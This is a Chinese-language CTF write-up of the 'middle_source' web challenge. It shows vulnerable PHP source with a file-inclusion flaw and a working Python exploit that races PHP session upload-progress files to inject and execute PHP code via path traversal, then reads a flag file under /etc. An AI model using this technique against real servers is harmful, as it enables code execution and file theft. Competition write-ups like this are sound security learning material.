middle_source

这题关键解法也很脑洞,感觉国赛的题目都要去扫目录的一堆非常规的敏感文件.....

题目源码:

<?php
    highlight_file(__FILE__);
    echo "your flag is in some file in /etc ";
    $fielf=$_POST["field"];
    $cf="/tmp/app_auth/cfile/".$_POST['cf'];
    
    if(file_exists($cf)){
        include $cf;
        echo $$field;
        exit;
    }
    else{
        echo "";
        exit;
    }
?>

比较诡异的是读进来的$fielf变量没用,反而用了$field变量,不经让人怀疑是不是出题人写错了orz,客服后面又没回,虽然最后我们还是凹出来了,但是还是很不爽

需要扫描目录扫到.listing文件,该文件由APT创建,用于管理应用程序的高级打包工具,可以看到文件列表。

然后发现有个文件叫you_can_seeeeeeee_me.php,可以拿到phpinfo,发现了session.save_path,这玩意被出题人改成了不规则字母,有很明显的手动添加痕迹。

然后就利用SESSION_UPLOAD_PROGRESS上传文件,它的cleanup和enabled都是on,所以需要条件竞争。

import requests
import threading
import io


def post():
    sessid = '2846ee569600018f0cf748bf66edd8dc'
    session = requests.session()
    while True:
        response = session.post(
            url='http://124.71.230.240:25934',
            data={
                'PHP_SESSION_UPLOAD_PROGRESS': "<?php var_dump(scandir('/etc/ehcfcbcedi/ecebdbacbd/eaidcddbbi/edfgdffeaf/eeahaeffac/fl444444g'));?>",
                'cf': f'../../../../var/lib/php/sessions/figceadcfh/sess_{sessid}'},
            cookies={'PHPSESSID': f'{sessid}'},
            files={"file": ('tmp.txt', '')}
        )

        # response = requests.post(url='http://124.71.230.240:25934', data=data, cookies=cookies)
        # print(response.text)
        if '..' in response.text:
            print(response.text)
            exit()


def flag():
    url = 'http://124.71.230.240:25934'
    data = {'cf': '../../../../etc/ehcfcbcedi/ecebdbacbd/eaidcddbbi/edfgdffeaf/eeahaeffac/fl444444g'}
    response = requests.post(url=url, data=data)
    print(response.text)


flag()

# for i in range(128):
#     thread = threading.Thread(target=post)
#     thread.start()

disable_function限制了禁止上传shell,但是scandir之类的函数还能用,所以直接扫到flag目录,在用题目的文件包含就出了。

Last updated